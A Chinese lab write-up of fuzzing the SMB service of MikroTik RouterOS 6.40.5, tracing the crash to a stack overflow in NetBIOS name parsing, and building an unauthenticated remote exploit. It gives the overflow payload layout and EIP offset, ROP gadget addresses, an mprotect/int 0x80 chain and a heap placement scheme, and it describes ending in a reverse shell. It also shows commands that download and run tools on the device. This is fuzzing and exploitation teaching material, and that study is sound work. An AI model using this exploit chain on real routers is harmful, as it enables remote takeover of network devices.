最近阅读了 模糊测试与漏洞利用实战：MikroTik无需认证的远程代码执行漏洞，这几天动手实践了下，fuzz出“0day”的感觉真不赖，文章给出了一个新的利用方式（请勿用于非法用途）。大家有兴趣的也可以自己尝试下。

磁盘文件：https://download2.mikrotik.com/routeros/6.40.5/chr-6.40.5.vmdk，vm安装

默认管理员帐户是admin，其默认密码为空。shell输入，开启smb自启，记下ip

ip smb set enabled=yes
ip smb print
ip address print 记录下ip

之后可以登录使用devel+空密码（默认）登陆telnet可以进入rootlshell

使用Cisco-Talos发布的mutiny-fuzzer进行fuzz，首先使用smbclient与mikrotik的smb交互，使用wireshark抓取请求包（只要第一个请求包），保存的pcap文件，fuzz，向mikrotik的smb发送请求，虽然mutiny-fuzzer带了一些检测模式，但是结合wireshark，其默认机制“如果连接不上，将停止fuzz“ 就已经可以达到目的。

smb路径/nova/bin/smb，日志文件路径/rw/logs/backtrace.log

漏洞挖掘工具https://github.com/Cisco-Talos/mutiny-fuzzer下载安装

pip install --pre scapy;#--pre Include pre-release and development versions. By default, pip only finds stable versions.
git clone https://github.com/Cisco-Talos/mutiny-fuzzer.git;
cd mutiny-fuzzer;
tar xfz radamsa-0.3.tar.gz;
cd radamsa-0.3/;
make;

测试radamsa（用来变异数据包的）
root@ubuntu:~/Desktop/fuzz_microtik/mutiny-fuzzer/radamsa-0.3/bin# echo testfuzz >testfuzz
root@ubuntu:~/Desktop/fuzz_microtik/mutiny-fuzzer/radamsa-0.3/bin# ./radamsa -n 5 testfuzz
tstuz
testfuzz
testfuzz
testfuzzsesestfufuzsestfuzsseseeeeeseteetesteesetestesetestfuzstesetesestfuz
testfuz

将日志保存到硬盘

交互窗口启动smb

ubuntu 使用smbclient与mikrotik smb交互，使用wireshark抓包，只保存第一个由ubuntu发送到mikrotik 的数据包，只需要保存这一个数据包，注意wireshark中的保存选项。

root@ubuntu:~/Desktop# apt install smbclient

root@ubuntu:~/Desktop# smbclient -L \\192.168.74.140
WARNING: The "syslog" option is deprecated
Enter root's password:
Server does not support EXTENDED_SECURITY but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MSHOME] OS=[Unix] Server=[MikrotikSMB]

Server does not support EXTENDED_SECURITY but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MSHOME] OS=[Unix] Server=[MikrotikSMB]

==

root@ubuntu:~/Desktop/fuzz_microtik/mutiny-fuzzer# ./mutiny_prep.py theloginsession.pcapng
Processing theloginsession.pcapng...
Which port is the server listening on? (445/41888)
Default 445:

Processed input file theloginsession.pcapng

How many times should a test case causing a crash or error be repeated?
Default 3: 不能连接了之后要试几次才最终停止

When the test case is repeated above, how many seconds should it wait between tests?
Default 5: 1 每次等待多久

Which protocol? (tcp/udp/layer3)
Default tcp:

What port should the fuzzer connect to?
Default 445:

Would you like to auto-generate a .fuzzer for each client message? (y/n)
Default n: y

Wrote .fuzzer file: theloginsession-0.fuzzer

All files have been written.

目的是触发更多的路径，这是wireshark解析的数据包格式，注意其中的Requested Dialects段，有10个dialects

这是theloginsession-0.fuzzer文件，其实也就是NetBIOS Session Service的整个数据（见wireshark解析）

作者最后只留下了两个dialect， 这里我一开始是有些疑惑的，毕竟之前没做过fuzz，后来想了想，多一个dialect永远不会增加代码覆盖，dialect越少，变异的空间就越大。之所以疑惑，就是之前的惯性思维：数据必须是符合规范的。

./mutiny.py -s 0.5 --logAll theloginsession-0-change.fuzzer mikrotik_ip //每隔0.5s发送一次，保存所有信息

注意开启wireshark 抓取所有数据包

开始：

结束

mikrotik中的崩溃日志

最后的数据包，注意过滤条件不是smb，因为是畸形的数据包，本身就不符合格式：

、

wireshark显示是非法的NetBIOS名称，崩溃包中有三个NetBIOS Session Service层。

这里想要确定是哪一个NetBIOS Session Service导致的崩溃，在不了解这个协议的情况下，可以分开每个都测试一下。

实际测试 第一个NetBIOS Session Service就可以导致崩溃，也就是图中标记的。

验证了漏洞可以稳定触发。来看看NetBIOS Session Service协议是什么

--以下摘自https://blog.csdn.net/vevenlcf/article/details/17716053
在一个SMB数据报中，NETBIOS头部对应NETBIOS会话头部。可以理解Illegle BIOS name了，因为必须是大写字母，且第三个字段表示长度

定义如下：

UCHAR Type; // Type of the packet
UCHAR Flags; // Flags
USHORT Length; // Count of data bytes (netbios header not included)

“Flags”域的值总是被置为0。

“Type”域有几种可能的选择：

0x81 对应一个NETBIOS会话请求。这个代码在客户端发送它的NETBIOS名字到服务器是使用。

0x82 对应一个NETBIOS会话应答。这个代码在服务器向客户端批准NETBIOS会话时使用。

0x00 对应一个会话消息。这个代码总是在SMB会话中被使用。

“Length”域包含了数据字节的长度(NETBIOS头部没有被包含在内)。

数据包含在NETBIOS头部
以上的所有部分(它可能是 SMB Base Header + SMB Command Header + DATA 或 NETBIOS名字)。

NETBIOS名字与编码。

NETBIOS编码名字的长度为32字节。

NETBIOS名字总是以大写的形式存在的。

编码一个NETBIOS名字非常的简单。例如我的计算机的NETBIOS名字是“BILL”，它是一个工作
站，所以它的第十六个字符为“0x00”。

首先，如果一个NETBIOS名字比15字节短，就会在右边补填上空格。

“BILL “

十六进制为： 0x42 0x49 0x4c 0x4c 0x20 0x20 ......0x00

每个字节都分裂为4位一组：

0x4 0x2 0x4 0x9 0x4 0xc 0x4 0xc 0x2 0x0 .......

而且每个4位都要添加ASCII码‘A’的值(0x41)。

0x4 + 0x41 = 0x45 -> ASCII value = E
0x2 + 0x41 = 0x43 -> ASCII value = C
……

最后NETBIOS名字被编码为32字节长。

接下来找找漏洞成因。

首先记住以下特征：

type：0x81

字符串：“connection from: 192.168.37.132
[s: 19] closing connection!
died with signal 11 on Tue Apr 9 20:11:25 2019”

需要下载smb用来分析：

mikrotik中：
cd /tmp&&wget http://192.168.37.132:88/busybox_HTTPD &&chmod 777 *&&./busybox_HTTPD -p 8848 -h /

ubuntu中:
wget http://192.168.37.131:8848/nova/bin/smb

上传GDBServer：
cd /tmp&&wget http://192.168.37.132:88/gdbserver-7.10.1-x86_32&&chmod 777 *

重启smb
pkill smb
/nova/bin/smb&

GDBServer附加
./gdbserver-7.10.1-x86_32 *:12345 --attach 2088
Attached; pid = 2088
Listening on port 12345

选择IDA是因为有F5

因为EDI是0 所以rep movsb会触发拷贝异常。查看右下角堆栈信息，可以查看其调用情况【此处省略5000字。。也确实没啥用】

静态分析半天没啥思路，现在转换方向，我们的目标是控制EIP，调整发包，将字符设置为A并加长，看能否控制或者说影响EIP

data="\x81\x00\x00\xFFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

中断下来，可以影响EIP，可以控制很多其他寄存器以及堆栈

此时的打印信息

./gdbserver-7.10.1-x86_32 *:12345 --attach 292

Attached; pid = 292
Listening on port 12345
Remote debugging from host 192.168.37.1
connection from: 192.168.37.132
New connection: <0>

相比于刚刚的崩溃打印信息“connection from: 192.168.37.132
[s: 19] closing connection!
died with signal 11 on Tue Apr 9 20:11:25 2019”

有新的字符串“New connection: <0>”

只在函数sub_806B11C中由调用字符串”New connection: <0>“

在 sub_806B11C中的 v7 = operator<<(&cout, "New connection: ");下断点

观察堆栈，当运行到断点时发现堆栈中已有数据，且在sub_806B11C执行完后就覆盖EIP，所以接下来在sub_806B11C开始下端点

在执行完sub_8054607(v6, v5 + 34);后破坏了之前的堆栈。这里还可以看到对0x81的判断。

sub_806B11C（）{

。。sub_8054607（）//溢出。。。

}

接下来分析sub_8054607，F5反汇编，调试分析，

首先分析参数，注意下图EBX的指向：

.text:0806B18E lea edx, [ebx+22h] #参数2，如下图中的EBX，会跳过0x22字节

.text:0806B191 lea eax, [ebp+var_3C] #参数1，sub_806B11C的局部变量
.text:0806B194 call sub_8054607

接着分析函数功能， F5：

数据流：

\x81\x00\x00\xFF 0x22*A size1+str1 size2+str2 size3+str3...【第一个字节是大小，后面是字符串】-->跳过了0x22字节-->

size1+str1 size2+str2 size3+str3...-->传入到sub_8054607的参数二-->处理参数二，第一个字节是大小，读取每个大小后面的字符串并用 ‘.’ 拼接， -->

str1+''.“+str2+''.“+str3+''.“+str4+''.“+str5.....-->拷贝到参数一 -->

buf ->overflow

关于EIP覆盖的位置

根据下图可知偏移是0x40

\x81\x00\x00\xFF 0x22A \xFF 0x40 A EIP 。。。。

data="\x81\x00\x00\xFF"+'A' 0x22+"\xFF"+0x40 'A'+"ABCD" +(0xFF-0x40-4) "A" #注意结尾必须要填完，也就是(0xFF-0x40-4) "A"

执行shellcode：reverseshell

gef➤ checksec
[+] checksec for '/tmp/gef/1243//proc/1243/exe'
Canary : No
NX : Yes 需要修改栈或堆为可执行，mprotect函数，如果没有，覆盖EIP为0x0804d87c : push esp ; nop ; mov ebx, dword ptr [esp] ; ret即可
PIE : No
Fortify : No
RelRO : No

多次重启查看cat /proc/smb_pid/maps，只有以下地址保持不变，意味着一开始只能从这些里面寻找部件

08048000-08071000 r-xp 00000000 00:0c 1454 /nova/bin/smb
08071000-08072000 rw-p 00029000 00:0c 1454 /nova/bin/smb
08072000-08076000 rw-p 00000000 00:00 0 [heap]

ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

目标系统开启了NX和ALSR

由于目标是reverseshell，所以需要跳到栈或堆上执行shellcode。由于NX，所以必须使用mprotect修改栈或堆的属性。对于ALSR，堆没有开启，栈虽然开启，但是依然可以将栈地址传到指定的寄存器。

首先看mprotect，由于各lib均随机化基址，所以使用int 0x80来调用

还需要设置寄存器eax=0x7d（调用号）, ebx=（地址）, ecx=0x01000000（大小）,edx=7(RWX)

一开始我是尝试修改栈的属性的，毕竟存在部件0x0804d87c : push esp ; nop ; mov ebx, dword ptr [esp] ; ret，到最后好不容易把栈地址传入ebx，结果函数出错，因为mprotect修改属性的地址必须是首地址（和windows不同）。

所以只能尝试堆了，堆的属性好修改，因为是固定地址的。需要考虑的就是堆上是否有我们可控制的数据，且是否能在固定范围。

使用GEF调试，使用命令：search-pattern 要搜索的内容 heap

首先，我们发送的包在堆中是存有的；第二，每次在堆中的首地址是不一样的。

[+] In '[heap]'(0x8072000-0x8086000), permission=rw-
0x807506c - 0x80750a3 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80750a0 - 0x80750d7 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80750d4 - 0x807510b → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075108 - 0x807513f → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x807513c - 0x8075173 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075170 - 0x80751a7 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80751a4 - 0x80751db → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80751d8 - 0x807520f → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x807520c - 0x8075243 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075240 - 0x8075277 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075274 - 0x80752ab → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80752a8 - 0x80752df → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80752dc - 0x8075313 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075310 - 0x8075347 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075344 - 0x807537b → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075378 - 0x80753af → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80753ac - 0x80753e3 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80753e0 - 0x8075417 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075414 - 0x807544b → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075448 - 0x807547f → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x807547c - 0x80754b3 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80754b0 - 0x80754e7 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80754e4 - 0x807551b → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075518 - 0x807554f → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"

+] In '[heap]'(0x8072000-0x8085000), permission=rw-
0x8074f24 - 0x8074f5b → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8074f5a - 0x8074f91 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8074f90 - 0x8074fc7 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8074fc6 - 0x8074ffd → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8074ffc - 0x8075033 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075032 - 0x8075069 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075068 - 0x807509f → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x807509e - 0x80750d5 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80750d4 - 0x807510b → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x807510a - 0x8075141 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075140 - 0x8075177 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075176 - 0x80751ad → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80751ac - 0x80751e3 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80751e2 - 0x8075219 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075218 - 0x807524f → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x807524e - 0x8075285 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075284 - 0x80752bb → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80752ba - 0x80752f1 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80752f0 - 0x8075327 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075326 - 0x807535d → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x807535c - 0x8075393 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075392 - 0x80753c9 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80753c8 - 0x80753ff → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80753fe - 0x8075435 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"

发送超长数据 ,0x3000，观察效果，没有不同。

[+] Searching 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD' in memory
[+] In '[heap]'(0x8072000-0x8085000), permission=rw-
0x8074f24 - 0x8074f5b → "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
。。。
0x8077ed9 - 0x8077f10 → "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"

最后发现一个特点：这些数据都经过了 0x8075XXX，且开始都离 0x8075XXX不远。那么可以考虑，如果将shellcode放到比较靠后的部分，shellcode和ret2libc部件之间用nop填充，那么在修改完属性之后跳转到这部分数据在堆中靠后的部分（shellcode之前），那么就可以实现利用。

1.修改属性

1.1 设置寄存器

root@ubuntu:~/Desktop# ROPgadget --binary smb |grep "pop eax"

选择0x0804f76e pop eax ; pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

root@ubuntu:~/Desktop# ROPgadget --binary smb |grep "pop ecx"

选择0x080664f5 : pop ecx ; adc al, 0xf7 ; ret

先0x080664f5 pop ecx ; adc al, 0xf7 ; ret 后0x0804f76e pop eax ; pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ，可以成功设置

1.2 跳至int 0x80 .. ret

int 0x80,在smb文件中找不到，所以在[vdso]中找

08048000-08071000 r-xp 00000000 00:0c 1454 /nova/bin/smb
08071000-08072000 rw-p 00029000 00:0c 1454 /nova/bin/smb
08072000-08076000 rw-p 00000000 00:00 0 [heap]

ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

gef➤ dump binary memory ./dump 0xffffe000 0xfffff000

.text:FFFFE42E int 80h ; LINUX -
.text:FFFFE430 pop ebp
.text:FFFFE431 pop edx
.text:FFFFE432 pop ecx
.text:FFFFE433 retn

2.跳至堆

设置.text:FFFFE42E int 80h ; LINUX -
.text:FFFFE430 pop ebp
.text:FFFFE431 pop edx
.text:FFFFE432 pop ecx
.text:FFFFE433 retn后返回到堆 0x8076000(比 0x8075000大 0x1000，大致这么多先试试)

3.完整利用

生成反向shell

关于fuzz，放开思维，多尝试，当前这个漏洞还没fuzz 10分钟就出来了。关于漏洞定位，一开始我们得到的是非法拷贝，和栈溢出没啥关系，但是之后我们基于已有的crash扩充样本，发现了栈溢出。也就是说当我们fuzz出一个新的漏洞时候，应该首先就基于这个crash的样本构造更多的样本查看效果（该文就是如此）。关于漏洞利用，明确立足点，抓住数据流动。

最后附上调试以及最后成功的效果

1.溢出函数结尾

2.设置ecx

3.设置其他寄存器

4.跳转到int 0x80，这里没法显示

5.跳转到堆上执行

6.此时堆已经是可执行的

7.执行到reverseshell

8.反连成功

参考文章：

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)